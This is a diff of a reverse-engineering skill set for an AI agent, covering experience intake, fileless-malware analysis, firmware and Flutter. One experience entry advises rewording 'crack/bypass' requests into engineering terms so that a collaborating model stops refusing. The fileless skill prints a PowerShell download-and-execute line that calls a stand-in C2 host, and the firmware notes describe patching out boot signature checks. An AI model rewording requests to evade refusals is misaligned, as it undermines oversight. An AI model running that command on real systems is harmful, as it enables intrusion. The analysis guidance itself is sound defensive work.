- ② 本地入库:grep 去重 → 追加到该技能 `references/experience.md`(无则创建,条目含来源+日期)→ SKILL.md「常见坑与陷阱」保留精选并追加 experience.md 链接(先建文件再加链接,避免断链)→ `npm test` 校验 → 按步骤 5 约定提交(或先询问用户)
|
||||
- ③ 不入库:确认后结束
|
||||
5. (文章扫描路径可选)提交 commit:「经验: 第N轮扫描入库X篇——<篇目>」,message 列出每技能新增条目
|
||||
|
||||
## 何时走哪条路(选择树)
|
||||
|
||||
- 输入 = 本次分析会话摘要 → 会话复盘源;目标 = 沉淀本次实战
|
||||
- 输入 = 文章 URL / 帖子 ID / 文章文本 → 文章扫描源;逐篇蒸馏,按 intake.md 标准跳过工具/推广帖
|
||||
- 输入 = 用户一句话/笔记 → 手动源;直接蒸馏
|
||||
- 三档选择(中性呈现):1. 发表 issue(可公开分享、他人可复用)2. 本地入库(本库沉淀、随库发布)3. 不入库(仅会话内保留)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-analyze]] 第四步(可选)调用本网关做会话复盘
|
||||
- 归域目标为全部技能([[re-binary-core]] [[re-malware]] [[re-firmware]] [[re-protocol]] [[re-mobile]] [[re-anti-analysis]] [[re-cracking]] [[re-vuln]] [[re-ctf]] [[re-managed]] [[re-forensics]] 及其原子技能)
|
||||
- 文章抓取用仓库 `bin/wxsource.mjs`;入库后用 `npm test`(validate.mjs)校验结构
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- 蒸馏不脱敏直接入库/发 issue → 泄漏项目身份 —— 红线 2,入库前逐项列专有名词自检
|
||||
- 呈现带「最推荐」等强推 → 绑架用户判断 —— 红线 1,只中性列选项
|
||||
- 归域不确定硬猜 → 经验写错技能、下次检索不到 —— 问用户
|
||||
- 入库后不跑 npm test → 断链/格式错破坏 CI —— 每次入库后必须 `npm test`
|
||||
- 重复条目重复入库 → 库膨胀 —— 入库前 grep 关键词去重
|
||||
- 文章扫描不跳过工具/推广帖 → 经验贬值 —— 按 intake.md 跳过标准过滤
|
||||
- **信任工具输出前先断言前置条件**:现象——工具运行看似正常但产出空/宽松/无操作(缺官方运行时返回空输出、架构不符时 hook 零命中、带壳重打包真机黑屏、屏幕未唤醒截图空白);原因——工具都有硬前置条件(官方运行时/原生架构/未加壳/环境就绪),违反时不报错而安静失败;对策——采信任何输出前显式断言其前置条件在该目标上成立,静默与空结果一律先当可疑;三条结构互异的直路均失败即被运行时不变量封锁,停止重试,改换环境/抽象层/目标(来源:reverse-skills(inliver233),MIT)
|
||||
- **多代理协作状态写入交接文档**:现象——多代理并行分析对账不上、死路重走、假设反复验证;原因——状态只存在聊天历史,各代理对「已确认/已排除」无共同基准;对策——单一控制器作唯一验证权威(代理假设须经控制器装机复现才算确认),每代理每轮一个目标,操作现场/已确认事实(带验证方式)/必填的已排除清单/建议第一步写入交接文档,对账按证据类别排序(运行时 > 静态 > 假设)(来源:reverse-skills(inliver233),MIT)
|
||||
- **蒸馏措辞触发协作模型拒答**:现象——含「破解/绕过」等词的蒸馏产物在协作流程中遭拒答;原因——触发词被内容策略拦截,与内容质量无关;对策——蒸馏阶段系统性改写为工程语言(代码恢复/兼容性适配/完整性校验适配/运行时签名适配),并随附授权前提声明(自有代码恢复/互操作/安全审计/CTF/教育,不授权对抗受保护软件),与红线 1 呈现中性同源,入库前照此自检(来源:reverse-skills(inliver233),MIT)
|
||||
- 更多经验见本技能 [[experience]](经验全集)
|
||||
@@ -0,0 +1,7 @@
|
||||
# 经验全集
|
||||
|
||||
条目按时间倒序,来源见每条末尾;本文件与 SKILL.md「常见坑与陷阱」精选并存。
|
||||
|
||||
## 2026-08
|
||||
|
||||
- **三档选择先问用户再动手**:现象——拿到经验直接按默认档处理(如直接发 issue),用户其实想本地留底;原因——档位是用户的权利,预设处理侵犯自主判断;对策——步骤 4 先用中性句式问「这次经验怎么处理?1. 发表 issue 2. 本地入库 3. 不入库」,等用户选定再执行(来源:2026-08 实战会话)
|
||||
@@ -0,0 +1,56 @@
|
||||
# 蒸馏方法论
|
||||
|
||||
经验条目统一格式、脱敏规则、归域决策表、去重规则、文章扫描跳过标准。
|
||||
|
||||
## 条目格式
|
||||
|
||||
每条一格,格式固定:
|
||||
|
||||
**标题(动词短语,10-20 字)**:现象——(可复现的现象描述);原因——(根因,不重复现象);对策——(可执行的下一步,含技能/工具名)
|
||||
|
||||
示例:
|
||||
|
||||
**重打包保持原始格式参数**:现象——重打包/替换资源后的包在真机加载崩溃或解析失败;原因——重打包工具默认输出格式与原格式存在差异(压缩方式/对齐/容器标志);对策——用 Apktool 等重打包工具(见 [[re-mobile-pack]])保留原包的格式参数(压缩标志/对齐方式),产出与原始文件同量级同格式,先本地验证再上真机
|
||||
|
||||
- 一条一格:一个现象 + 一个根因 + 一个对策,不把多个坑合并进一条
|
||||
- 「坑」与「方法」同格式:坑写避坑;方法写「现象——旧做法低效;原因——…;对策——更优路径」
|
||||
|
||||
## 脱敏规则(红线)
|
||||
|
||||
- 禁止出现:公司/产品/项目名、目标样本名、内部代号、专有协议名、域名/包名/签名指纹
|
||||
- 禁止暗示:行业+规模+地域组合、独特技术特征组合(可推断身份)
|
||||
- 泛化写法:目标 → 「某移动应用」「某嵌入式设备」「某通信协议」;只保留技术结论(现象/原因/对策)
|
||||
- 来源字段:实战会话 → `2026-08 实战会话`(只写时间);文章 → 文章标题 + URL(公开信息可保留)
|
||||
- 入库/发 issue 前自检:列出条目中所有专有名词逐项确认已泛化;任一不通过 → 回炉重蒸
|
||||
|
||||
## 归域决策表
|
||||
|
||||
| 条目主题 | 目标技能 |
|
||||
|---|---|
|
||||
| 壳/脱壳/反混淆/花指令/控制流平坦化 | [[re-anti-analysis]] 系([[re-packer-id]] [[re-unpack-simple]] [[re-unpack-advanced]] [[re-deobfuscate]]) |
|
||||
| 恶意行为/持久化/注入/C2 | [[re-malware]] 系([[re-behavior]] [[re-loader]] [[re-fileless]] [[re-ioc]]) |
|
||||
| 固件/IoT/嵌入式/rootfs | [[re-firmware]] 系([[re-fw-extract]] [[re-fw-rootfs]] [[re-fw-emulate]]) |
|
||||
| 协议/流量/抓包/加密通信 | [[re-protocol]] 系([[re-netcap]] [[re-proto-rev]] [[re-crypto-id]] [[re-crypto-keys]] [[re-crypto-decrypt]] [[re-tls]]) |
|
||||
| 移动 App/JNI/Frida/加固脱壳 | [[re-mobile]] 系([[re-apk]] [[re-android-native]] [[re-frida]] [[re-mobile-pack]]) |
|
||||
| 一般二进制/反编译/调试/格式 | [[re-binary-core]] 系([[re-triage]] [[re-format-pe]] [[re-ghidra]] [[re-gdb]]) |
|
||||
| 破解/授权/注册码/补丁 | [[re-cracking]] 系([[re-license]] [[re-patching]] [[re-keygen]]) |
|
||||
| fuzz/崩溃/漏洞/利用 | [[re-vuln]] 系([[re-fuzzing]] [[re-crash-triage]] [[re-exploit]]) |
|
||||
| CTF/angr/z3 | [[re-ctf]] 系([[re-angr]] [[re-z3]] [[re-pwn]]) |
|
||||
| .NET/Java/脚本/WASM/合约/AI 模型 | [[re-managed]] 系([[re-dotnet]] [[re-java]] [[re-script-deob]] [[re-wasm]] [[re-blockchain]] [[re-ai-model]]) |
|
||||
| 取证/内存取证/威胁情报 | [[re-forensics]] 系([[re-mem-forensics]] [[re-disk-forensics]] [[re-ti]]) |
|
||||
| 反作弊/内核驱动/虚拟化 | [[re-binary-core]] 系([[re-kernel]] [[re-anti-cheat]] [[re-hypervisor]]) |
|
||||
| 反调试/检测规避 | [[re-anti-analysis]] 系([[re-evasion]]) |
|
||||
| 勒索软件 | [[re-ransomware]] |
|
||||
|
||||
兜底:`grep -rn "关键词" .claude/skills/*/SKILL.md` 找最相关技能;仍不确定 → 问用户,不猜。
|
||||
|
||||
## 去重规则
|
||||
|
||||
- 入库前 `grep -n "标题关键词" .claude/skills/<技能>/references/experience.md`(文件不存在 = 无重复)
|
||||
- 同现象已存在 → 跳过并告知用户;内容更完整的新版本可替换旧条目
|
||||
|
||||
## 文章扫描跳过标准
|
||||
|
||||
- 工具/工作流推广帖(新手教程、工具介绍、无新方法论)
|
||||
- 正文截断/无法提取正文
|
||||
- 纯新闻/非逆向内容
|
||||
@@ -0,0 +1,26 @@
|
||||
# Issue 正文模板
|
||||
|
||||
`gh issue create` 用 `--body` 传填充后的模板(占位符全部替换);草稿档直接输出填充后的模板正文。
|
||||
|
||||
**标题**:`经验: <技能名>: <一句话概括>`
|
||||
|
||||
**正文**:
|
||||
|
||||
## 技能
|
||||
<技能名,如 re-mobile>
|
||||
|
||||
## 现象
|
||||
<可复现的现象描述>
|
||||
|
||||
## 原因
|
||||
<根因>
|
||||
|
||||
## 对策
|
||||
<可执行的下一步,含技能/工具名>
|
||||
|
||||
## 来源
|
||||
<2026-08 实战会话 / 文章标题 + URL>
|
||||
|
||||
## 脱敏声明
|
||||
- [ ] 已确认:不含具体项目/公司/产品名
|
||||
- [ ] 已确认:无暗示性细节(行业+规模+地域组合、专有协议名、内部代号)
|
||||
117
vendor-new/rev-skills/.claude/skills/re-fileless/SKILL.md
Normal file
117
vendor-new/rev-skills/.claude/skills/re-fileless/SKILL.md
Normal file
@@ -0,0 +1,117 @@
|
||||
---
|
||||
name: re-fileless
|
||||
description: >
|
||||
无文件恶意软件:内存执行、持久化、PowerShell 链。
|
||||
触发词:无文件、fileless、内存执行、PowerShell 无文件、注册表持久化
|
||||
capabilities: [malware-behavior]
|
||||
---
|
||||
|
||||
# 无文件恶意软件分析
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:样本不落盘(无文件)——内存执行、PowerShell 下载执行、WMI/计划任务、注册表运行键承载载荷
|
||||
- 用:回答"无文件载荷怎么进来、怎么执行、怎么持久化"三条链
|
||||
- 用:杀软/EDR 告警只有行为与网络特征、没有文件物证的分析(与 [[re-evasion]] 的 AMSI/ETW 对抗衔接)
|
||||
- 不用:有落盘样本的常规行为分析(那是 [[re-behavior]]);纯脚本静态解码(那是 [[re-script-deob]])
|
||||
- 不用:只分析载荷本体不关心执行链(转 [[re-binary-core]] / [[re-shellcode]])
|
||||
- 注意:本技能以 Windows 为主(无文件/注册表/WMI/计划任务均为 Windows 生态);Linux/macOS 的对应物(bash/python 内存执行、LD_PRELOAD、systemd timer/crontab)按同一"执行链还原"框架套用
|
||||
|
||||
## 工具准备
|
||||
|
||||
无文件分析 = 动态执行 + 内存取证 + 脚本解码三线并行,全程在沙箱内([[re-sandbox]] 强制前置,[[re-analyze/platform-tips]] 最高原则)。所有工具先验证再使用。
|
||||
|
||||
### 动态分析环境(强制前置)
|
||||
|
||||
- [[re-sandbox]]: VM 快照 + 网络隔离(INetSim / fake DNS / 断网)——无文件样本常实时外联下载下一层,隔离必须先行
|
||||
- [[re-tracing]]: 系统调用/进程行为跟踪(Windows procmon / Linux strace)
|
||||
- 验证: 沙箱内 `ping 8.8.8.8` 不通;procmon/strace 能记录样本进程事件
|
||||
|
||||
### 内存转储与提取([[re-memdump]] 联动)
|
||||
|
||||
- gcore(Linux)/ procdump(Windows): 默认转储优先,见 [[re-analyze/platform-tips]]「直读 vs 转储」决策表
|
||||
- 验证: `gcore --help`(安装见 [[re-memdump]] 工具准备);Windows 侧 Sysinternals procdump(`choco install sysinternals` 套件内)
|
||||
|
||||
### PowerShell 分析([[re-script-deob]] 联动)
|
||||
|
||||
- pwsh: Windows 内置;Linux: `apt install powershell`(Microsoft 源)或 `snap install powershell`;macOS: `brew install --cask powershell`
|
||||
- 验证: `pwsh --version`;静态解码细节(-enc 解码、IEX 链、AST 提取)见 [[re-script-deob]]
|
||||
|
||||
### Sysinternals 套件(Windows 行为与持久化主力)
|
||||
|
||||
- `choco install sysinternals`(procmon / Process Explorer / autoruns / procdump)
|
||||
- 验证: 管理员运行 Procmon64.exe 能记录事件;`autorunsc64.exe -a * -c` 能导出全部启动项
|
||||
- 补充(可选): Sysmon(微软官网下载)配置 ProcessCreate(事件 1,记录父进程+命令行)与 NetworkConnect(事件 3)
|
||||
|
||||
### Windows 内置命令(零安装)
|
||||
|
||||
- `reg query`(运行键)、`schtasks /query /fo csv /v`(计划任务)、`Get-WinEvent`(PowerShell 事件 4104 ScriptBlock 日志)、`netstat -ano`(回连)
|
||||
- Linux/macOS 侧: `ps -ef --forest`、`systemctl list-timers`、`crontab -l`、`cat /proc/<pid>/maps`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步产物(转储/日志/还原脚本)存档 sha256 + 路径([[re-ioc]] 证据链要求)。
|
||||
|
||||
1. **识别无文件迹象(无落盘/注册表载荷)**:
|
||||
- 输入信号: 杀软/EDR 告警"行为检测、无文件";沙箱运行后磁盘无新增样本但进程异常;网络层看到 powershell/rundll32 实时下载
|
||||
- 静态线索: 邮件/URL 附件是 .ps1/.hta/.docm(脚本链);注册表 Run 键或计划任务指向 powershell/wscript/mshta 命令行而非 exe 路径
|
||||
- 证据采集: 沙箱内运行([[re-sandbox]])→ procmon 全量记录文件/注册表/进程 → PowerShell 提前开 ScriptBlock 日志(事件 4104)与模块日志 → 启动前先 [[re-memdump]] 基线转储(见坑 2 时机)
|
||||
- 判定: "无文件" = 载荷不落盘或只在 %TEMP% 短暂中转——磁盘证据不足不代表没有执行链,内存与命令行才是主战场
|
||||
|
||||
2. **内存执行链还原(WMI/计划任务/PowerShell 下载执行)**:
|
||||
```sh
|
||||
# PowerShell 下载执行(最典型)
|
||||
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://c2/payload')"
|
||||
# 无文件执行的等价形式: rundll32 / mshta / regsvr32 加载脚本引擎
|
||||
# 还原方法: procmon 按进程树过滤(父→子),命令行逐个记录
|
||||
```
|
||||
- 链还原顺序: 入口(宏/URL/邮件附件)→ 下载器(PowerShell/WMI 拉取)→ 解码([[re-script-deob]] 逐层还原)→ 内存注入(VirtualAlloc + WriteProcessMemory + CreateThread)或反射加载 .NET 程序集
|
||||
- 每层命令行走访: 父进程 PID → 子进程命令行 → 访问的 URL/注册表项——一条链一条记录
|
||||
- WMI 特例: `wmic process call create "..."` 或 WMI 事件订阅(__EventFilter/__EventConsumer 对)——父进程是 WmiPrvse.exe,命令行不在普通进程树里;用 `Get-CimInstance -Namespace root/subscription -ClassName __EventFilter` 与 `__EventConsumer` 枚举订阅,配合 Sysmon 事件 1 关联进程链
|
||||
- 计划任务变体: `schtasks /create ...` 注册任务,Action 是 powershell -enc 串——命令行本身带载荷,直接解码即得下一层
|
||||
|
||||
3. **注册表/计划任务持久化定位**:
|
||||
```sh
|
||||
# 运行键(HKCU/HKLM Run 全家)
|
||||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
|
||||
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
|
||||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /s
|
||||
# 计划任务(全量含隐藏项)
|
||||
schtasks /query /fo LIST /v
|
||||
# 自启动服务与 WMI 事件订阅(隐蔽持久化位)
|
||||
sc query type= all
|
||||
```
|
||||
- autoruns 一把梭: `autorunsc64.exe -a * -c` 导出全部启动点,按"含 powershell/wscript/mshta/URL 的命令行"过滤——无文件持久化的共同特征: 启动命令是脚本引擎 + 远程 URL/编码串,不是 exe 路径
|
||||
- 计划任务隐蔽坑: 恶意任务常设隐藏标志(SD 删除权限/`/sc onlogon` 且无用户可见名)——必须 `/fo LIST /v` 全量导出手工比对,别只看默认列表视图
|
||||
- 时间线: 注册表项 LastWriteTime 与任务创建时间、告警时间对齐,佐证同一次入侵
|
||||
|
||||
4. **内存载荷提取([[re-memdump]] 时机)**:
|
||||
- 黄金窗: 下载→解码→注入的链上,**注入之后、执行之前**(VirtualAlloc 返回 + WriteProcessMemory 写完、CreateThread 启动前)——此时内存里是最完整的明文载荷
|
||||
- 操作: 动态调试([[re-gdb]] / [[re-x64dbg]] 断在注入点)或按 [[re-memdump]] 默认转储优先——gcore 全量转储后按特征找(MZ 头/熵块/脚本文本)
|
||||
- 无文件脚本载荷: 内存中直接搜脚本特征(`IEX`、`FromBase64String`、`DownloadString`、base64 长串)→ 提取后 [[re-script-deob]] 还原
|
||||
- 提取出的载荷立即 sha256 存档,再看"什么时候会释放"——执行完即释放的载荷错过时机就没了(见坑 2)
|
||||
|
||||
5. **与行为分析交叉([[re-behavior]])**:
|
||||
- 把步骤 2-4 还原的执行链交给 [[re-behavior]] 做行为侧验证: 进程树/注入/持久化清单/网络连接 + ATT&CK 映射(T1059.001 PowerShell、T1055 进程注入、T1547.001 注册表运行键、T1053.005 计划任务)
|
||||
- 交叉验证点: ① 命令行证据与行为日志一致(谁启动谁、何时注入)② 内存载荷与网络下载内容一致(sha256 对齐)③ 持久化位置与重启行为一致(快照恢复前复跑验证)
|
||||
- 产出: 完整执行链(入口→下载→解码→注入→持久化)+ 载荷样本(内存提取物)+ IOC(URL/域名/注册表键/命令行模式)→ [[re-ioc]] 写 YARA(内存特征为主)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-sandbox]]:动态执行强制前置(本技能全部运行步骤的底座)
|
||||
- [[re-tracing]]:执行链的进程/API 观察(procmon/strace)
|
||||
- [[re-memdump]]:内存载荷提取(默认转储优先,时机是关键)
|
||||
- [[re-script-deob]]:PowerShell 下载执行链的逐层解码(本技能步骤 2/4 直接调用)
|
||||
- [[re-behavior]]:行为侧交叉验证与 ATT&CK 映射(本技能步骤 5)
|
||||
- [[re-evasion]]:AMSI/ETW 绕过、杀软内存扫描对抗(无文件样本常叠加,见坑 4)
|
||||
- [[re-shellcode]]:内存中提取的纯代码载荷(非脚本形态)转 shellcode 专项分析
|
||||
- [[re-netcap]] / [[re-protocol]]:下载执行链的 C2 流量捕获与协议还原
|
||||
- [[re-ioc]]:无文件载荷的 IOC 收集(内存特征/命令行模式/注册表键)
|
||||
- 引用 [[re-analyze/platform-tips]] 最高原则(默认沙箱)与「直读 vs 转储」决策表
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **无落盘导致取证难**:现象——磁盘上找不到样本文件,报告"无物证",结论站不住;原因——载荷全程内存/远程脚本/注册表运行键,常规文件取证抓不到;对策——运行前基线 [[re-memdump]] 全量转储 + procmon/Sysmon 记录命令行与网络 + PowerShell 开 4104 日志;结论以内存证据 + 命令行 + 网络流为准,[[re-ioc]] 收内存哈希类特征(与 [[re-evasion]] 的无文件取证坑同源)
|
||||
- **内存载荷转储时机(执行完即释放)**:现象——dmp 里找不到载荷,或只有半截;原因——无文件载荷"注入后执行、执行完释放/自清除",转储太早(未解码)或太晚(已释放)都拿不到;对策——转储时机选注入之后、执行之前(步骤 4 黄金窗);多个时机各转储一次;看到完整载荷立即保存([[re-memdump]] 坑: 看到解密数据立刻保存)
|
||||
- **PowerShell 混淆链多层**:现象——解开一层还有一层,越解越多;原因——下载执行链常多层编码叠加(base64 + 拼接 + 反转 + 变量替换);对策——按 [[re-script-deob]] 逐层解、每层存档编号(layer_01 → layer_02…),解完重跑识别,别跳层;IEX 在沙箱内替换为 Write-Host 拿下一层
|
||||
- **杀软内存扫描对抗**:现象——沙箱里样本刚注入就消失/行为异常,观察不到完整执行链;原因——AV/EDR 内存扫描或 AMSI 在注入/执行时命中并清除载荷;对策——沙箱内先按 [[re-evasion]] 确认对抗点(AMSI patch/内存扫描时机),必要时降级或禁用沙箱内 AV 再复跑(快照回滚),结论注明验证环境
|
||||
50
vendor-new/rev-skills/.claude/skills/re-firmware/SKILL.md
Normal file
50
vendor-new/rev-skills/.claude/skills/re-firmware/SKILL.md
Normal file
@@ -0,0 +1,50 @@
|
||||
---
|
||||
name: re-firmware
|
||||
type: gateway
|
||||
description: >
|
||||
固件/嵌入式/硬件分析网关。编排:提取 → rootfs → 仿真 → 硬件接口。
|
||||
子技能:[[re-fw-extract]] [[re-fw-rootfs]] [[re-fw-emulate]] [[re-hardware-io]] [[re-automotive]] [[re-uefi]] [[re-rtos]] [[re-tee]]。
|
||||
触发词:固件分析、固件、IoT、解包固件、rootfs、仿真固件、firmware analysis。
|
||||
capabilities: [firmware-extraction, emulation, rtos-analysis, hardware-interface, uefi-analysis]
|
||||
---
|
||||
|
||||
# 固件 / 嵌入式 / 硬件分析
|
||||
|
||||
## 完整工作流
|
||||
|
||||
1. 初勘:[[re-triage]](能力:`triage`) —— file/哈希/熵确认固件类型、架构与字节序(未走 [[re-analyze]] 入口则先补做,读取 `RE_*` 会话变量)
|
||||
2. 提取:[[re-fw-extract]](能力:`firmware-extraction`) —— binwalk/unblob 自动解包,magic 手工扫描,字节序判断
|
||||
3. rootfs:[[re-fw-rootfs]](能力:`firmware-extraction`) —— 挂载/解包文件系统,启动脚本定位入口,配置/密钥/硬编码口令挖掘
|
||||
4. 仿真:[[re-fw-emulate]](能力:`emulation`) —— 需要运行时用 QEMU 用户态优先(最轻方案,见 [[re-analyze/platform-tips]]),全系统按需
|
||||
5. 硬件接口:[[re-hardware-io]](能力:`hardware-interface`) —— 需实物板子时(JTAG/UART/flash 读取);有固件文件先走 2-4,硬件是最后手段
|
||||
6. 通信:提取/运行中发现固件通信、回连、自定义协议 → [[re-protocol]](能力:`network-capture`、`protocol-recovery`、`crypto-identification`、`crypto-decryption`、`key-extraction`、`tls-analysis`;netcap / proto-rev / crypto-*)
|
||||
7. 产出:结论 / 报告(按 `RE_REPORT`),哈希与证据存档(见 [[re-triage]](能力:`triage`))
|
||||
|
||||
每步结果存档(证据路径 + sha256,见 [[re-triage]](能力:`triage`)),供报告引用;发现恶意样本/后门随时转 [[re-malware]](能力:`malware-behavior`、`document-malware`、`evasion-analysis`、`key-extraction`、`threat-intel`)。
|
||||
|
||||
## 何时用哪个原子技能(选择树)
|
||||
|
||||
- 有固件文件(.bin / .img / 升级包)→ [[re-fw-extract]](能力:`firmware-extraction`) 解包
|
||||
- 已有 rootfs / 解包产物 → [[re-fw-rootfs]](能力:`firmware-extraction`) 分析文件系统
|
||||
- 需要运行固件观察行为 → [[re-fw-emulate]](能力:`emulation`;先确认架构,见 [[re-triage]](能力:`triage`))
|
||||
- 有实物板子 / 需要硬件提取 → [[re-hardware-io]](能力:`hardware-interface`)
|
||||
- 汽车 ECU / CAN 总线 / OBD-UDS 诊断 → [[re-automotive]](能力:`automotive-analysis`)
|
||||
- 见通信(固件回连 / 自定义协议 / 加密通信)→ [[re-protocol]](能力:`network-capture`、`protocol-recovery`、`crypto-identification`、`crypto-decryption`、`key-extraction`、`tls-analysis`)
|
||||
- 目标是 UEFI 固件(BIOS 更新包/DXE 驱动/bootkit)→ [[re-uefi]](能力:`uefi-analysis`;UEFITool 解析 + OVMF 仿真)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- 固件通信协议:[[re-firmware]] → [[re-protocol]](netcap / proto-rev / crypto-* 识别与重建固件通信)
|
||||
- 固件内恶意样本/后门:[[re-firmware]] → [[re-malware]](沙箱行为分析见 [[re-sandbox]])
|
||||
- 固件内 ELF 深度静态分析:→ [[re-binary-core]]([[re-format-elf]] / [[re-ghidra]])
|
||||
- 仿真动态分析默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则)
|
||||
- 本网关被 [[re-analyze]] 的 triage.md「分析固件 / IoT 设备」路径调用(re-firmware → re-fw-extract → re-fw-rootfs → re-fw-emulate → 若见通信 re-protocol)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- 拿到固件跳过初勘直接 binwalk → 架构/字节序未知,解出的程序无法仿真 —— 先 [[re-triage]] 确认(大端 ARM/MIPS 常见)
|
||||
- 自动解包失败就放弃 → 厂商自定义头/加密层最常见 —— 转 [[re-fw-extract]] 手工 magic 扫描 + dd 按偏移切分
|
||||
- 一上来就要实物板子 → 成本高、有损坏风险 —— 有固件文件先走 提取→rootfs→仿真,[[re-hardware-io]] 是最后手段
|
||||
- 仿真不隔离网络就跑固件 → 固件真实回连外网 —— 默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则),通信分析转 [[re-protocol]]
|
||||
- rootfs 分析不看启动脚本 → 面对几十个二进制无从下手 —— 先 [[re-fw-rootfs]] 读 rcS / inittab / init.d 定位程序入口
|
||||
- **启动链逐层校验(BootROM→FDL→SPL→U-Boot→system)**:现象——patch 掉一层校验刷机仍失败,后面还卡在别的验证;原因——移动 SoC(Unisoc/展锐等)刷机链每层独立验签:BootROM→FDL1→FDL2→SPL Loader→U-Boot/LK→system,SPL 对 sml/trustos/uboot 做 RSA-2048 校验(DHTB+SIMGHDR 格式),失败进死循环;对策——沿整条链逐层追:①**格式特征转常量**:文件头 ASCII(如 `DHTB`)按 32 位小端转整数(`1112819780`),在上一层反编译中搜该常量定位校验入口;②失败陷阱=死循环(校验失败 branch 到 loop),patch 失败分支改 NOP/调整分支让它继续走;③FDL2 加载基址从 spd_dump 命令行第二个 FDL 地址拿(IDA/Ghidra 加载基址用这个,xref 才对得上);④字符串搜索找"按分区名分发刷写逻辑"的入口;⑤硬件固化方案(RP2350 作 USB Host 自动重放握手注入)只做自动化,真正关键在逆向与魔改加载链
|
||||
162
vendor-new/rev-skills/.claude/skills/re-flutter/SKILL.md
Normal file
162
vendor-new/rev-skills/.claude/skills/re-flutter/SKILL.md
Normal file
@@ -0,0 +1,162 @@
|
||||
---
|
||||
name: re-flutter
|
||||
description: Flutter/Dart AOT 逆向:libapp.so 快照分区解析、符号还原、Dart VM 动态分析。触发词:Flutter、Dart、libapp.so、AOT snapshot、kernel_blob、flutter_assets、Dart VM
|
||||
capabilities: [hybrid-app-analysis]
|
||||
---
|
||||
|
||||
# Flutter / Dart AOT 逆向(快照解析 / 符号还原 / VM 动态分析)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:Android 包内发现 `lib/<abi>/libapp.so`(Dart AOT 快照)与 `libflutter.so`(引擎)——业务逻辑在 libapp.so
|
||||
- 用:iOS 的 `App.framework/App`(AOT 快照嵌入 Mach-O,`Flutter.framework` 为引擎)
|
||||
- 用:debug 构建的 `assets/flutter_assets/kernel_blob.bin`(Dart kernel 二进制,含类/函数名与 AST)
|
||||
- 用:需要还原 Flutter App 的 Dart 业务逻辑(网络接口、签名/加密算法、协议、MethodChannel 通道)
|
||||
- 不用:纯原生 Android App(无 libapp.so / kernel_blob,走 [[re-apk]])
|
||||
- 不用:纯原生 iOS App(无 App.framework,走 [[re-ios]])
|
||||
- 不用:Flutter Web(产物是 JS/WASM 而非快照,走 [[re-wasm]])
|
||||
- 不用:引擎层本身(libflutter.so / Flutter.framework 内部逻辑,见步骤 4)
|
||||
- 注意:动态步骤在受控设备 / 模拟器快照内执行([[re-analyze/platform-tips]] 最高原则);静态优先(大型样本原则)
|
||||
|
||||
## 工具准备
|
||||
|
||||
参考 [[re-analyze/platform-tips]]——Flutter 产物大(libapp.so 数十 MB 起),遵循「静态优先(大型样本)」:先静态定位、动态按需补充;动态(运行 / 重打包 App)默认在受控设备 / 模拟器快照内。
|
||||
|
||||
### python3(快照头部 / 分区解析主力)
|
||||
|
||||
- Linux: `apt install python3` / `dnf install python3` / `pacman -S python`
|
||||
- macOS: 自带;Windows: 官方安装器或 `choco install python`
|
||||
- 验证: `python3 --version`
|
||||
|
||||
### binutils(readelf / strings / objcopy,快照定位与段提取)
|
||||
|
||||
- Debian/Ubuntu: `apt install binutils`;Fedora: `dnf install binutils`;Arch: `pacman -S binutils`
|
||||
- macOS: Xcode 命令行工具自带(`xcode-select --install`)
|
||||
- Windows: 无自带 binutils——用 WSL,或 Ghidra 内置解析替代
|
||||
- 验证: `readelf --version && strings --version`
|
||||
|
||||
### Ghidra(指令段反汇编 / 反编译与交叉引用)
|
||||
|
||||
- 装法与验证见 [[re-ghidra]];无 Ghidra 时 IDA / radare2 等价([[re-ida]] / [[re-radare2]])
|
||||
- 验证: 导入 libapp.so 后能定位 `_kDart*` 符号
|
||||
|
||||
### frida(动态侧,Dart VM 入口 hook)
|
||||
|
||||
- 安装、frida-server 部署与版本匹配见 [[re-frida]] 工具准备(主机与设备版本必须一致)
|
||||
- 验证: `frida --version`;`frida-ps -U` 列出设备进程
|
||||
|
||||
### blutter(AOT 快照自动还原,可选)
|
||||
|
||||
- release libapp.so 的类/函数/对象池自动还原,安装与用法见 [[re-hybrid-app]] 工具准备;本技能步骤 2 以手动解析为核心方法,blutter 作自动化替代与核对
|
||||
- 验证: 输出目录出现 `pp.txt` 且含目标 App 类名
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行;每步产物(段提取 / 解析脚本 / hook 脚本 + sha256)存档。
|
||||
|
||||
1. **识别构建模式(debug / release)**:
|
||||
```sh
|
||||
unzip -l app.apk | grep -E 'kernel_blob|libapp|libflutter' # Android 容器内定位
|
||||
file lib/arm64-v8a/libapp.so
|
||||
readelf -sW lib/arm64-v8a/libapp.so | grep _kDart # release: AOT 快照符号
|
||||
xxd -l 32 assets/flutter_assets/kernel_blob.bin # debug: 前 4 字节应为 ef cd ab 90(kernel magic 0x90abcdef 的小端)
|
||||
readelf -sW libapp.so | grep -c _kDartIsolateSnapshot # AOT 段符号(data/instructions),比按 ASCII 串搜可靠
|
||||
```
|
||||
- debug: `assets/flutter_assets/kernel_blob.bin` 存在(**header 共 8 字节 = magic `0x90abcdef` + formatVersion**,Dart kernel 二进制,类/函数名与 AST 保留,还原成本低)→ 直接步骤 3
|
||||
- release: 无 kernel_blob,业务代码在 libapp.so 的 `_kDartIsolateSnapshotData`(数据)/ `_kDartIsolateSnapshotInstructions`(指令)→ 步骤 2
|
||||
- iOS: `Payload/<App>.app/Frameworks/App.framework/App`(业务)与 `Flutter.framework/Flutter`(引擎),Mach-O 内同段名,`otool -l` / strings 定位
|
||||
|
||||
2. **Dart AOT 快照分区解析(release)**:
|
||||
```sh
|
||||
